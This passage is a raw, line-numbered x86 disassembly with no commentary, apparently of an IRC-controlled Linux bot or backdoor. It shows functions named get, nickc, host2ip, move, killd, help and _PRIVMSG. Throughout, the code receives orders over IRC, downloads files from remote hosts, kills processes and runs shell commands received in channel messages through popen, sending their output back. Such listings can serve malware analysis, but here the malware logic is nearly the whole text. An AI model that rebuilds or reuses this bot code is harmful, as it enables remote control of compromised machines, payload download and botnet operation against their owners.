  652. 08049477: lea    -0x38(%ebp),%eax
  653. 0804947a: movl   $0x10,0x8(%esp)
  654. 08049482: mov    %eax,0x4(%esp)
  655. 08049486: mov    -0x28(%ebp),%eax
  656. 08049489: mov    %eax,(%esp)
  657. 0804948c: call   0x08048af4 <connect@plt>
  658. 08049491: test   %eax,%eax
  659. 08049493: je     0x080494bb <get+0x21b>
  660. 08049495: mov    0xc(%ebp),%eax
  661. 08049498: mov    %eax,0x8(%esp)
  662. 0804949c: movl   $0x804aa24,0x4(%esp)
  663. 080494a4: mov    0x8(%ebp),%eax
  664. 080494a7: mov    %eax,(%esp)
  665. 080494aa: call   0x08048fc0 <send_msg>
  666. 080494af: movl   $0x0,(%esp)
  667. 080494b6: call   0x08048cb4 <exit@plt>
  668. 080494bb: mov    -0x24(%ebp),%eax
  669. 080494be: mov    %eax,%edx
  670. 080494c0: lea    -0x438(%ebp),%eax
  671. 080494c6: add    %edx,%eax
  672. 080494c8: lea    0x1(%eax),%edx
  673. 080494cb: lea    -0x438(%ebp),%eax
  674. 080494d1: mov    %eax,0xc(%esp)
  675. 080494d5: mov    %edx,0x8(%esp)
  676. 080494d9: movl   $0x804aa4c,0x4(%esp)
  677. 080494e1: mov    -0x28(%ebp),%eax
  678. 080494e4: mov    %eax,(%esp)
  679. 080494e7: call   0x08048fc0 <send_msg>
  680. 080494ec: mov    0x804c9a0,%eax
  681. 080494f1: mov    %eax,0x8(%esp)
  682. 080494f5: movl   $0x804ab60,0x4(%esp)
  683. 080494fd: mov    0x8(%ebp),%eax
  684. 08049500: mov    %eax,(%esp)
  685. 08049503: call   0x08048fc0 <send_msg>
  686. 08049508: mov    0x14(%ebp),%eax
  687. 0804950b: add    $0x8,%eax
  688. 0804950e: mov    (%eax),%eax
  689. 08049510: movl   $0x804ab7d,0x4(%esp)
  690. 08049518: mov    %eax,(%esp)
  691. 0804951b: call   0x08048ce4 <fopen@plt>
  692. 08049520: mov    %eax,-0x18(%ebp)
  693. 08049523: movl   $0x0,0xc(%esp)
  694. 0804952b: movl   $0x1000,0x8(%esp)
  695. 08049533: lea    -0x1438(%ebp),%eax
  696. 08049539: mov    %eax,0x4(%esp)
  697. 0804953d: mov    -0x28(%ebp),%eax
  698. 08049540: mov    %eax,(%esp)
  699. 08049543: call   0x08048bd4 <recv@plt>
  700. 08049548: mov    %eax,-0x10(%ebp)
  701. 0804954b: cmpl   $0x0,-0x10(%ebp)
  702. 0804954f: jle    0x080495dd <get+0x33d>
  703. 08049555: cmpl   $0xfff,-0x10(%ebp)
  704. 0804955c: jg     0x08049569 <get+0x2c9>
  705. 0804955e: mov    -0x10(%ebp),%eax
  706. 08049561: movb   $0x0,-0x1438(%ebp,%eax,1)
  707. 08049569: movl   $0x0,-0x20(%ebp)
  708. 08049570: jmp    0x080495d0 <get+0x330>
  709. 08049572: mov    -0x20(%ebp),%eax
  710. 08049575: mov    %eax,%edx
  711. 08049577: lea    -0x1438(%ebp),%eax
  712. 0804957d: add    %edx,%eax
  713. 0804957f: movl   $0x4,0x8(%esp)
  714. 08049587: movl   $0x804ab80,0x4(%esp)
  715. 0804958f: mov    %eax,(%esp)
  716. 08049592: call   0x08048ba4 <strncmp@plt>
  717. 08049597: test   %eax,%eax
  718. 08049599: jne    0x080495cc <get+0x32c>
  719. 0804959b: addl   $0x4,-0x20(%ebp)
  720. 0804959f: jmp    0x080495c2 <get+0x322>
  721. 080495a1: mov    -0x20(%ebp),%eax
  722. 080495a4: movzbl -0x1438(%ebp,%eax,1),%eax
  723. 080495ac: movzbl %al,%edx
  724. 080495af: mov    -0x18(%ebp),%eax
  725. 080495b2: mov    %eax,0x4(%esp)
  726. 080495b6: mov    %edx,(%esp)
  727. 080495b9: call   0x08048a64 <fputc@plt>
  728. 080495be: addl   $0x1,-0x20(%ebp)
  729. 080495c2: mov    -0x20(%ebp),%eax
  730. 080495c5: cmp    -0x10(%ebp),%eax
  731. 080495c8: jl     0x080495a1 <get+0x301>
  732. 080495ca: jmp    0x080495dd <get+0x33d>
  733. 080495cc: addl   $0x1,-0x20(%ebp)
  734. 080495d0: mov    -0x20(%ebp),%eax
  735. 080495d3: cmp    -0x10(%ebp),%eax
  736. 080495d6: jl     0x08049572 <get+0x2d2>
  737. 080495d8: jmp    0x08049523 <get+0x283>
  738. 080495dd: mov    0x14(%ebp),%eax
  739. 080495e0: add    $0x8,%eax
  740. 080495e3: mov    (%eax),%eax
  741. 080495e5: mov    0x804c9a0,%edx
  742. 080495eb: mov    %eax,0xc(%esp)
  743. 080495ef: mov    %edx,0x8(%esp)
  744. 080495f3: movl   $0x804ab85,0x4(%esp)
  745. 080495fb: mov    0x8(%ebp),%eax
  746. 080495fe: mov    %eax,(%esp)
  747. 08049601: call   0x08048fc0 <send_msg>
  748. 08049606: movl   $0x0,0xc(%esp)
  749. 0804960e: movl   $0x1000,0x8(%esp)
  750. 08049616: lea    -0x1438(%ebp),%eax
  751. 0804961c: mov    %eax,0x4(%esp)
  752. 08049620: mov    -0x28(%ebp),%eax
  753. 08049623: mov    %eax,(%esp)
  754. 08049626: call   0x08048bd4 <recv@plt>
  755. 0804962b: mov    %eax,-0xc(%ebp)
  756. 0804962e: cmpl   $0x0,-0xc(%ebp)
  757. 08049632: jle    0x0804967c <get+0x3dc>
  758. 08049634: cmpl   $0xfff,-0xc(%ebp)
  759. 0804963b: jg     0x08049648 <get+0x3a8>
  760. 0804963d: mov    -0xc(%ebp),%eax
  761. 08049640: movb   $0x0,-0x1438(%ebp,%eax,1)
  762. 08049648: movl   $0x0,-0x8(%ebp)
  763. 0804964f: jmp    0x08049672 <get+0x3d2>
  764. 08049651: mov    -0x8(%ebp),%eax
  765. 08049654: movzbl -0x1438(%ebp,%eax,1),%eax
  766. 0804965c: movzbl %al,%edx
  767. 0804965f: mov    -0x18(%ebp),%eax
  768. 08049662: mov    %eax,0x4(%esp)
  769. 08049666: mov    %edx,(%esp)
  770. 08049669: call   0x08048a64 <fputc@plt>
  771. 0804966e: addl   $0x1,-0x8(%ebp)
  772. 08049672: mov    -0x8(%ebp),%eax
  773. 08049675: cmp    -0xc(%ebp),%eax
  774. 08049678: jl     0x08049651 <get+0x3b1>
  775. 0804967a: jmp    0x08049606 <get+0x366>
  776. 0804967c: mov    -0x18(%ebp),%eax
  777. 0804967f: mov    %eax,(%esp)
  778. 08049682: call   0x08048b24 <fclose@plt>
  779. 08049687: mov    -0x28(%ebp),%eax
  780. 0804968a: mov    %eax,(%esp)
  781. 0804968d: call   0x08048b54 <close@plt>
  782. 08049692: movl   $0x0,(%esp)
  783. 08049699: call   0x08048cb4 <exit@plt>
  784. 0804969e: add    $0x1454,%esp
  785. 080496a4: pop    %ebx
  786. 080496a5: pop    %ebp
  787. 080496a6: ret    
  788. 080496a7: mov    %esi,%esi
  789. 080496a9: lea    0x0(%edi),%edi
  790.  
  791. # 080496b0 <nickc>:
  792. 080496b0: push   %ebp
  793. 080496b1: mov    %esp,%ebp
  794. 080496b3: sub    $0x18,%esp
  795. 080496b6: cmpl   $0x1,0x10(%ebp)
  796. 080496ba: je     0x080496d8 <nickc+0x28>
  797. 080496bc: mov    0xc(%ebp),%eax
  798. 080496bf: mov    %eax,0x8(%esp)
  799. 080496c3: movl   $0x804ab9e,0x4(%esp)
  800. 080496cb: mov    0x8(%ebp),%eax
  801. 080496ce: mov    %eax,(%esp)
  802. 080496d1: call   0x08048fc0 <send_msg>
  803. 080496d6: jmp    0x08049728 <nickc+0x78>
  804. 080496d8: mov    0x14(%ebp),%eax
  805. 080496db: add    $0x4,%eax
  806. 080496de: mov    (%eax),%eax
  807. 080496e0: mov    %eax,(%esp)
  808. 080496e3: call   0x08048b84 <strlen@plt>
  809. 080496e8: cmp    $0x9,%eax
  810. 080496eb: jbe    0x08049709 <nickc+0x59>
  811. 080496ed: mov    0xc(%ebp),%eax
  812. 080496f0: mov    %eax,0x8(%esp)
  813. 080496f4: movl   $0x804abb8,0x4(%esp)
  814. 080496fc: mov    0x8(%ebp),%eax
  815. 080496ff: mov    %eax,(%esp)
  816. 08049702: call   0x08048fc0 <send_msg>
  817. 08049707: jmp    0x08049728 <nickc+0x78>
  818. 08049709: mov    0x14(%ebp),%eax
  819. 0804970c: add    $0x4,%eax
  820. 0804970f: mov    (%eax),%eax
  821. 08049711: mov    %eax,0x8(%esp)
  822. 08049715: movl   $0x804abee,0x4(%esp)
  823. 0804971d: mov    0x8(%ebp),%eax
  824. 08049720: mov    %eax,(%esp)
  825. 08049723: call   0x08048fc0 <send_msg>
  826. 08049728: leave  
  827. 08049729: ret    
  828. 0804972a: lea    0x0(%esi),%esi
  829.  
  830. # 08049730 <host2ip>:
  831. 08049730: push   %ebp
  832. 08049731: mov    %esp,%ebp
  833. 08049733: sub    $0x28,%esp
  834. 08049736: mov    0xc(%ebp),%eax
  835. 08049739: mov    %eax,(%esp)
  836. 0804973c: call   0x08048a94 <__inet_addr@plt>
  837. 08049741: mov    %eax,0x804c740
  838. 08049746: mov    0x804c740,%eax
  839. 0804974b: cmp    $0xffffffff,%eax
  840. 0804974e: jne    0x080497b7 <host2ip+0x87>
  841. 08049750: mov    0xc(%ebp),%eax
  842. 08049753: mov    %eax,(%esp)
  843. 08049756: call   0x08048c14 <gethostbyname@plt>
  844. 0804975b: mov    %eax,-0x4(%ebp)
  845. 0804975e: cmpl   $0x0,-0x4(%ebp)
  846. 08049762: jne    0x08049793 <host2ip+0x63>
  847. 08049764: mov    0x804c760,%eax
  848. 08049769: mov    0xc(%ebp),%edx
  849. 0804976c: mov    %edx,0xc(%esp)
  850. 08049770: mov    0x8(%ebp),%edx
  851. 08049773: mov    %edx,0x8(%esp)
  852. 08049777: movl   $0x804abf8,0x4(%esp)
  853. 0804977f: mov    %eax,(%esp)
  854. 08049782: call   0x08048fc0 <send_msg>
  855. 08049787: movl   $0x0,(%esp)
  856. 0804978e: call   0x08048cb4 <exit@plt>
  857. 08049793: mov    -0x4(%ebp),%eax
  858. 08049796: mov    0xc(%eax),%eax
  859. 08049799: mov    %eax,%edx
  860. 0804979b: mov    -0x4(%ebp),%eax
  861. 0804979e: mov    0x10(%eax),%eax
  862. 080497a1: mov    (%eax),%eax
  863. 080497a3: mov    %edx,0x8(%esp)
  864. 080497a7: movl   $0x804c740,0x4(%esp)
  865. 080497af: mov    %eax,(%esp)
  866. 080497b2: call   0x08048c44 <bcopy@plt>
  867. 080497b7: mov    0x804c740,%eax
  868. 080497bc: leave  
  869. 080497bd: ret    
  870. 080497be: xchg   %ax,%ax
  871.  
  872. # 080497c0 <move>:
  873. 080497c0: push   %ebp
  874. 080497c1: mov    %esp,%ebp
  875. 080497c3: sub    $0x18,%esp
  876. 080497c6: cmpl   $0x0,0x10(%ebp)
  877. 080497ca: jg     0x080497f2 <move+0x32>
  878. 080497cc: mov    0xc(%ebp),%eax
  879. 080497cf: mov    %eax,0x8(%esp)
  880. 080497d3: movl   $0x804ac1a,0x4(%esp)
  881. 080497db: mov    0x8(%ebp),%eax
  882. 080497de: mov    %eax,(%esp)
  883. 080497e1: call   0x08048fc0 <send_msg>
  884. 080497e6: movl   $0x1,(%esp)
  885. 080497ed: call   0x08048cb4 <exit@plt>
  886. 080497f2: mov    0x14(%ebp),%eax
  887. 080497f5: add    $0x4,%eax
  888. 080497f8: mov    (%eax),%eax
  889. 080497fa: mov    %eax,(%esp)
  890. 080497fd: call   0x08048b34 <strdup@plt>
  891. 08049802: mov    %eax,0x804c888
  892. 08049807: movl   $0x1,0x804c320
  893. 08049811: mov    0x8(%ebp),%eax
  894. 08049814: mov    %eax,(%esp)
  895. 08049817: call   0x08048b54 <close@plt>
  896. 0804981c: leave  
  897. 0804981d: ret    
  898. 0804981e: xchg   %ax,%ax
  899.  
  900. # 08049820 <killd>:
  901. 08049820: push   %ebp
  902. 08049821: mov    %esp,%ebp
  903. 08049823: sub    $0x8,%esp
  904. 08049826: movl   $0x9,0x4(%esp)
  905. 0804982e: movl   $0x0,(%esp)
  906. 08049835: call   0x08048cc4 <kill@plt>
  907. 0804983a: leave  
  908. 0804983b: ret    
  909. 0804983c: lea    0x0(%esi),%esi
  910.  
  911. # 08049840 <help>:
  912. 08049840: push   %ebp
  913. 08049841: mov    %esp,%ebp
  914. 08049843: sub    $0x18,%esp
  915. 08049846: mov    0xc(%ebp),%eax
  916. 08049849: mov    %eax,(%esp)
  917. 0804984c: call   0x08049010 <mfork>
  918. 08049851: test   %eax,%eax
  919. 08049853: jne    0x0804991b <help+0xdb>
  920. 08049859: mov    0xc(%ebp),%eax
  921. 0804985c: mov    %eax,0x8(%esp)
  922. 08049860: movl   $0x804ac38,0x4(%esp)
  923. 08049868: mov    0x8(%ebp),%eax
  924. 0804986b: mov    %eax,(%esp)
  925. 0804986e: call   0x08048fc0 <send_msg>
  926. 08049873: mov    0xc(%ebp),%eax
  927. 08049876: mov    %eax,0x8(%esp)
  928. 0804987a: movl   $0x804ac98,0x4(%esp)
  929. 08049882: mov    0x8(%ebp),%eax
  930. 08049885: mov    %eax,(%esp)
  931. 08049888: call   0x08048fc0 <send_msg>
  932. 0804988d: mov    0xc(%ebp),%eax
  933. 08049890: mov    %eax,0x8(%esp)
  934. 08049894: movl   $0x804ace8,0x4(%esp)
  935. 0804989c: mov    0x8(%ebp),%eax
  936. 0804989f: mov    %eax,(%esp)
  937. 080498a2: call   0x08048fc0 <send_msg>
  938. 080498a7: mov    0xc(%ebp),%eax
  939. 080498aa: mov    %eax,0x8(%esp)
  940. 080498ae: movl   $0x804ad38,0x4(%esp)
  941. 080498b6: mov    0x8(%ebp),%eax
  942. 080498b9: mov    %eax,(%esp)
  943. 080498bc: call   0x08048fc0 <send_msg>
  944. 080498c1: mov    0xc(%ebp),%eax
  945. 080498c4: mov    %eax,0x8(%esp)
  946. 080498c8: movl   $0x804adb0,0x4(%esp)
  947. 080498d0: mov    0x8(%ebp),%eax
  948. 080498d3: mov    %eax,(%esp)
  949. 080498d6: call   0x08048fc0 <send_msg>
  950. 080498db: mov    0xc(%ebp),%eax
  951. 080498de: mov    %eax,0x8(%esp)
  952. 080498e2: movl   $0x804ae00,0x4(%esp)
  953. 080498ea: mov    0x8(%ebp),%eax
  954. 080498ed: mov    %eax,(%esp)
  955. 080498f0: call   0x08048fc0 <send_msg>
  956. 080498f5: mov    0xc(%ebp),%eax
  957. 080498f8: mov    %eax,0x8(%esp)
  958. 080498fc: movl   $0x804ae64,0x4(%esp)
  959. 08049904: mov    0x8(%ebp),%eax
  960. 08049907: mov    %eax,(%esp)
  961. 0804990a: call   0x08048fc0 <send_msg>
  962. 0804990f: movl   $0x0,(%esp)
  963. 08049916: call   0x08048cb4 <exit@plt>
  964. 0804991b: leave  
  965. 0804991c: ret    
  966. 0804991d: lea    0x0(%esi),%esi
  967.  
  968. # 08049920 <_PRIVMSG>:
  969. 08049920: push   %ebp
  970. 08049921: mov    %esp,%ebp
  971. 08049923: push   %ebx
  972. 08049924: sub    $0x864,%esp
  973. 0804992a: movl   $0x0,-0x1c(%ebp)
  974. 08049931: jmp    0x08049937 <_PRIVMSG+0x17>
  975. 08049933: addl   $0x1,-0x1c(%ebp)
  976. 08049937: mov    -0x1c(%ebp),%ebx
  977. 0804993a: mov    0x10(%ebp),%eax
  978. 0804993d: mov    %eax,(%esp)
  979. 08049940: call   0x08048b84 <strlen@plt>
  980. 08049945: cmp    %eax,%ebx
  981. 08049947: jae    0x08049956 <_PRIVMSG+0x36>
  982. 08049949: mov    -0x1c(%ebp),%eax
  983. 0804994c: add    0x10(%ebp),%eax
  984. 0804994f: movzbl (%eax),%eax
  985. 08049952: cmp    $0x20,%al
  986. 08049954: jne    0x08049933 <_PRIVMSG+0x13>
  987. 08049956: mov    -0x1c(%ebp),%eax
  988. 08049959: add    0x10(%ebp),%eax
  989. 0804995c: movb   $0x0,(%eax)
  990. 0804995f: mov    0x10(%ebp),%eax
  991. 08049962: mov    %eax,-0x18(%ebp)
  992. 08049965: mov    -0x1c(%ebp),%eax
  993. 08049968: add    0x10(%ebp),%eax
  994. 0804996b: add    $0x2,%eax
  995. 0804996e: mov    %eax,-0x14(%ebp)
  996. 08049971: movl   $0x0,-0x1c(%ebp)
  997. 08049978: jmp    0x0804997e <_PRIVMSG+0x5e>
  998. 0804997a: addl   $0x1,-0x1c(%ebp)
  999. 0804997e: mov    -0x1c(%ebp),%ebx
  1000. 08049981: mov    0xc(%ebp),%eax
  1001. 08049984: mov    %eax,(%esp)
  1002. 08049987: call   0x08048b84 <strlen@plt>
  1003. 0804998c: cmp    %eax,%ebx
  1004. 0804998e: jae    0x0804999d <_PRIVMSG+0x7d>
  1005. 08049990: mov    -0x1c(%ebp),%eax
  1006. 08049993: add    0xc(%ebp),%eax
  1007. 08049996: movzbl (%eax),%eax
  1008. 08049999: cmp    $0x21,%al
  1009. 0804999b: jne    0x0804997a <_PRIVMSG+0x5a>
  1010. 0804999d: mov    -0x1c(%ebp),%eax
  1011. 080499a0: add    0xc(%ebp),%eax
  1012. 080499a3: movb   $0x0,(%eax)
  1013. 080499a6: mov    -0x14(%ebp),%eax
  1014. 080499a9: movzbl (%eax),%eax
  1015. 080499ac: cmp    $0x21,%al
  1016. 080499ae: jne    0x08049dbe <_PRIVMSG+0x49e>
  1017. 080499b4: mov    0x804c9a0,%eax
  1018. 080499b9: mov    %eax,0x4(%esp)
  1019. 080499bd: mov    -0x18(%ebp),%eax
  1020. 080499c0: mov    %eax,(%esp)
  1021. 080499c3: call   0x08048bf4 <strcasecmp@plt>
  1022. 080499c8: test   %eax,%eax
  1023. 080499ca: jne    0x08049dbe <_PRIVMSG+0x49e>
  1024. 080499d0: lea    -0x44c(%ebp),%edx
  1025. 080499d6: mov    $0x400,%eax
  1026. 080499db: mov    %eax,0x8(%esp)
  1027. 080499df: movl   $0x0,0x4(%esp)
  1028. 080499e7: mov    %edx,(%esp)
  1029. 080499ea: call   0x08048c94 <memset@plt>
  1030. 080499ef: movl   $0x0,-0x10(%ebp)
  1031. 080499f6: addl   $0x1,-0x14(%ebp)
  1032. 080499fa: movl   $0x0,-0x1c(%ebp)
  1033. 08049a01: jmp    0x08049a07 <_PRIVMSG+0xe7>
  1034. 08049a03: addl   $0x1,-0x1c(%ebp)
  1035. 08049a07: mov    -0x1c(%ebp),%ebx
  1036. 08049a0a: mov    -0x14(%ebp),%eax
  1037. 08049a0d: mov    %eax,(%esp)
  1038. 08049a10: call   0x08048b84 <strlen@plt>
  1039. 08049a15: cmp    %eax,%ebx
  1040. 08049a17: jae    0x08049a26 <_PRIVMSG+0x106>
  1041. 08049a19: mov    -0x1c(%ebp),%eax
  1042. 08049a1c: add    -0x14(%ebp),%eax
  1043. 08049a1f: movzbl (%eax),%eax
  1044. 08049a22: cmp    $0x20,%al
  1045. 08049a24: jne    0x08049a03 <_PRIVMSG+0xe3>
  1046. 08049a26: mov    -0x1c(%ebp),%eax
  1047. 08049a29: add    -0x14(%ebp),%eax
  1048. 08049a2c: movb   $0x0,(%eax)
  1049. 08049a2f: mov    0x804c764,%eax
  1050. 08049a34: mov    %eax,0x4(%esp)
  1051. 08049a38: mov    -0x14(%ebp),%eax
  1052. 08049a3b: mov    %eax,(%esp)
  1053. 08049a3e: call   0x08048e40 <strwildmatch>
  1054. 08049a43: test   %eax,%eax
  1055. 08049a45: jne    0x08049dbe <_PRIVMSG+0x49e>
  1056. 08049a4b: mov    -0x14(%ebp),%edx
  1057. 08049a4e: add    $0x1,%edx
  1058. 08049a51: mov    -0x1c(%ebp),%eax
  1059. 08049a54: lea    (%edx,%eax,1),%eax
  1060. 08049a57: mov    %eax,-0x14(%ebp)
  1061. 08049a5a: movl   $0x4,0x8(%esp)
  1062. 08049a62: movl   $0x804aed0,0x4(%esp)
  1063. 08049a6a: mov    -0x14(%ebp),%eax
  1064. 08049a6d: mov    %eax,(%esp)
  1065. 08049a70: call   0x08048ba4 <strncmp@plt>
  1066. 08049a75: test   %eax,%eax
  1067. 08049a77: jne    0x08049a96 <_PRIVMSG+0x176>
  1068. 08049a79: mov    -0x14(%ebp),%eax
  1069. 08049a7c: add    $0x4,%eax
  1070. 08049a7f: mov    %eax,0x8(%esp)
  1071. 08049a83: movl   $0x804aed5,0x4(%esp)
  1072. 08049a8b: mov    0x8(%ebp),%eax
  1073. 08049a8e: mov    %eax,(%esp)
  1074. 08049a91: call   0x08048fc0 <send_msg>
  1075. 08049a96: movl   $0x3,0x8(%esp)
  1076. 08049a9e: movl   $0x804aed9,0x4(%esp)
  1077. 08049aa6: mov    -0x14(%ebp),%eax
  1078. 08049aa9: mov    %eax,(%esp)
  1079. 08049aac: call   0x08048ba4 <strncmp@plt>
  1080. 08049ab1: test   %eax,%eax
  1081. 08049ab3: jne    0x08049bea <_PRIVMSG+0x2ca>
  1082. 08049ab9: mov    0xc(%ebp),%eax
  1083. 08049abc: mov    %eax,(%esp)
  1084. 08049abf: call   0x08049010 <mfork>
  1085. 08049ac4: test   %eax,%eax
  1086. 08049ac6: jne    0x08049dbe <_PRIVMSG+0x49e>
  1087. 08049acc: movl   $0x400,0x8(%esp)
  1088. 08049ad4: movl   $0x0,0x4(%esp)
  1089. 08049adc: lea    -0x84c(%ebp),%eax
  1090. 08049ae2: mov    %eax,(%esp)
  1091. 08049ae5: call   0x08048c94 <memset@plt>
  1092. 08049aea: mov    -0x14(%ebp),%eax
  1093. 08049aed: add    $0x3,%eax
  1094. 08049af0: mov    %eax,0x8(%esp)
  1095. 08049af4: movl   $0x804aee0,0x4(%esp)
  1096. 08049afc: lea    -0x84c(%ebp),%eax
  1097. 08049b02: mov    %eax,(%esp)
  1098. 08049b05: call   0x08048b44 <sprintf@plt>
  1099. 08049b0a: movl   $0x804af1c,0x4(%esp)
  1100. 08049b12: lea    -0x84c(%ebp),%eax
  1101. 08049b18: mov    %eax,(%esp)
  1102. 08049b1b: call   0x08048b74 <popen@plt>
  1103. 08049b20: mov    %eax,-0x8(%ebp)
  1104. 08049b23: jmp    0x08049b93 <_PRIVMSG+0x273>
  1105. 08049b25: movl   $0x400,0x8(%esp)
  1106. 08049b2d: movl   $0x0,0x4(%esp)
  1107. 08049b35: lea    -0x84c(%ebp),%eax
  1108. 08049b3b: mov    %eax,(%esp)
  1109. 08049b3e: call   0x08048c94 <memset@plt>
  1110. 08049b43: mov    -0x8(%ebp),%eax
  1111. 08049b46: mov    %eax,0x8(%esp)
  1112. 08049b4a: movl   $0x400,0x4(%esp)
  1113. 08049b52: lea    -0x84c(%ebp),%eax
  1114. 08049b58: mov    %eax,(%esp)
  1115. 08049b5b: call   0x08048ab4 <fgets@plt>
  1116. 08049b60: mov    0x804c9a0,%edx
  1117. 08049b66: lea    -0x84c(%ebp),%eax
  1118. 08049b6c: mov    %eax,0xc(%esp)
  1119. 08049b70: mov    %edx,0x8(%esp)
  1120. 08049b74: movl   $0x804af1e,0x4(%esp)
  1121. 08049b7c: mov    0x8(%ebp),%eax
  1122. 08049b7f: mov    %eax,(%esp)
  1123. 08049b82: call   0x08048fc0 <send_msg>
  1124. 08049b87: movl   $0x1,(%esp)
  1125. 08049b8e: call   0x08048c54 <sleep@plt>
  1126. 08049b93: mov    0x804c310,%eax
  1127. 08049b98: test   %eax,%eax
  1128. 08049b9a: jne    0x08049bb2 <_PRIVMSG+0x292>
  1129. 08049b9c: mov    -0x8(%ebp),%eax
  1130. 08049b9f: movzwl 0xc(%eax),%eax
  1131. 08049ba3: cwtl  
  1132. 08049ba4: and    $0x20,%eax
  1133. 08049ba7: test   %eax,%eax
  1134. 08049ba9: sete   -0x855(%ebp)
  1135. 08049bb0: jmp    0x08049bc6 <_PRIVMSG+0x2a6>
  1136. 08049bb2: mov    -0x8(%ebp),%eax
  1137. 08049bb5: mov    %eax,(%esp)
  1138. 08049bb8: call   0x08048bc4 <feof@plt>
  1139. 08049bbd: test   %eax,%eax
  1140. 08049bbf: sete   -0x855(%ebp)
  1141. 08049bc6: cmpb   $0x0,-0x855(%ebp)
  1142. 08049bcd: jne    0x08049b25 <_PRIVMSG+0x205>
  1143. 08049bd3: mov    -0x8(%ebp),%eax
  1144. 08049bd6: mov    %eax,(%esp)
  1145. 08049bd9: call   0x08048a54 <pclose@plt>
  1146. 08049bde: movl   $0x0,(%esp)
  1147. 08049be5: call   0x08048cb4 <exit@plt>
  1148. 08049bea: mov    -0x14(%ebp),%eax
  1149. 08049bed: mov    %eax,(%esp)
  1150. 08049bf0: call   0x08048b84 <strlen@plt>
  1151. 08049bf5: mov    %eax,-0xc(%ebp)
  1152. 08049bf8: movl   $0x0,-0x1c(%ebp)
  1153. 08049bff: jmp    0x08049c2d <_PRIVMSG+0x30d>
  1154. 08049c01: mov    -0x14(%ebp),%eax
  1155. 08049c04: movzbl (%eax),%eax
  1156. 08049c07: cmp    $0x20,%al
  1157. 08049c09: je     0x08049c35 <_PRIVMSG+0x315>
  1158. 08049c0b: mov    -0x14(%ebp),%eax
  1159. 08049c0e: movzbl (%eax),%eax
  1160. 08049c11: test   %al,%al
  1161. 08049c13: je     0x08049c35 <_PRIVMSG+0x315>
  1162. 08049c15: mov    -0x1c(%ebp),%eax
  1163. 08049c18: mov    -0x14(%ebp),%edx
  1164. 08049c1b: movzbl (%edx),%edx
  1165. 08049c1e: mov    %dl,-0x44c(%ebp,%eax,1)
  1166. 08049c25: addl   $0x1,-0x14(%ebp)
  1167. 08049c29: addl   $0x1,-0x1c(%ebp)
  1168. 08049c2d: mov    -0x1c(%ebp),%eax
  1169. 08049c30: cmp    -0xc(%ebp),%eax
  1170. 08049c33: jl     0x08049c01 <_PRIVMSG+0x2e1>
  1171. 08049c35: movl   $0x0,-0x1c(%ebp)
  1172. 08049c3c: jmp    0x08049c53 <_PRIVMSG+0x333>
  1173. 08049c3e: mov    -0x1c(%ebp),%eax
  1174. 08049c41: add    -0x14(%ebp),%eax
  1175. 08049c44: movzbl (%eax),%eax
  1176. 08049c47: cmp    $0x20,%al
  1177. 08049c49: jne    0x08049c4f <_PRIVMSG+0x32f>
  1178. 08049c4b: addl   $0x1,-0x10(%ebp)
  1179. 08049c4f: addl   $0x1,-0x1c(%ebp)
  1180. 08049c53: mov    -0x1c(%ebp),%ebx
  1181. 08049c56: mov    -0x14(%ebp),%eax
  1182. 08049c59: mov    %eax,(%esp)
  1183. 08049c5c: call   0x08048b84 <strlen@plt>
  1184. 08049c61: cmp    %eax,%ebx
  1185. 08049c63: jb     0x08049c3e <_PRIVMSG+0x31e>
  1186. 08049c65: addl   $0x1,-0x10(%ebp)
  1187. 08049c69: cmpl   $0xa,-0x10(%ebp)
  1188. 08049c6d: jle    0x08049c76 <_PRIVMSG+0x356>
  1189. 08049c6f: movl   $0xa,-0x10(%ebp)
  1190. 08049c76: lea    -0x44c(%ebp),%eax
  1191. 08049c7c: mov    %eax,-0x4c(%ebp)
  1192. 08049c7f: mov    -0x10(%ebp),%eax
  1193. 08049c82: add    $0x1,%eax
  1194. 08049c85: movl   $0x804af2e,-0x4c(%ebp,%eax,4)
  1195. 08049c8d: movl   $0x1,-0xc(%ebp)
  1196. 08049c94: jmp    0x08049d21 <_PRIVMSG+0x401>
  1197. 08049c99: addl   $0x1,-0x14(%ebp)
  1198. 08049c9d: mov    -0xc(%ebp),%eax
  1199. 08049ca0: cmp    -0x10(%ebp),%eax
  1200. 08049ca3: jge    0x08049d2f <_PRIVMSG+0x40f>
  1201. 08049ca9: movl   $0x0,-0x1c(%ebp)
  1202. 08049cb0: jmp    0x08049cb6 <_PRIVMSG+0x396>
  1203. 08049cb2: addl   $0x1,-0x1c(%ebp)
  1204. 08049cb6: mov    -0x1c(%ebp),%ebx
  1205. 08049cb9: mov    -0x14(%ebp),%eax
  1206. 08049cbc: mov    %eax,(%esp)
  1207. 08049cbf: call   0x08048b84 <strlen@plt>
  1208. 08049cc4: cmp    %eax,%ebx
  1209. 08049cc6: jae    0x08049cd5 <_PRIVMSG+0x3b5>
  1210. 08049cc8: mov    -0x1c(%ebp),%eax
  1211. 08049ccb: add    -0x14(%ebp),%eax
  1212. 08049cce: movzbl (%eax),%eax
  1213. 08049cd1: cmp    $0x20,%al
  1214. 08049cd3: jne    0x08049cb2 <_PRIVMSG+0x392>
  1215. 08049cd5: mov    -0xc(%ebp),%ebx
  1216. 08049cd8: mov    -0x1c(%ebp),%eax
  1217. 08049cdb: add    $0x1,%eax
  1218. 08049cde: mov    %eax,(%esp)
  1219. 08049ce1: call   0x08048a24 <malloc@plt>
  1220. 08049ce6: mov    %eax,-0x4c(%ebp,%ebx,4)
  1221. 08049cea: mov    -0x1c(%ebp),%edx
  1222. 08049ced: mov    -0xc(%ebp),%eax
  1223. 08049cf0: mov    -0x4c(%ebp,%eax,4),%ecx
  1224. 08049cf4: mov    %edx,0x8(%esp)
  1225. 08049cf8: mov    -0x14(%ebp),%eax
  1226. 08049cfb: mov    %eax,0x4(%esp)
  1227. 08049cff: mov    %ecx,(%esp)
  1228. 08049d02: call   0x08048c24 <strncpy@plt>
  1229. 08049d07: mov    -0xc(%ebp),%eax
  1230. 08049d0a: mov    -0x4c(%ebp,%eax,4),%edx
  1231. 08049d0e: mov    -0x1c(%ebp),%eax
  1232. 08049d11: lea    (%edx,%eax,1),%eax
  1233. 08049d14: movb   $0x0,(%eax)
  1234. 08049d17: addl   $0x1,-0xc(%ebp)
  1235. 08049d1b: mov    -0x1c(%ebp),%eax
  1236. 08049d1e: add    %eax,-0x14(%ebp)
  1237. 08049d21: mov    -0x14(%ebp),%eax
  1238. 08049d24: movzbl (%eax),%eax
  1239. 08049d27: test   %al,%al
  1240. 08049d29: jne    0x08049c99 <_PRIVMSG+0x379>
  1241. 08049d2f: movl   $0x0,-0xc(%ebp)
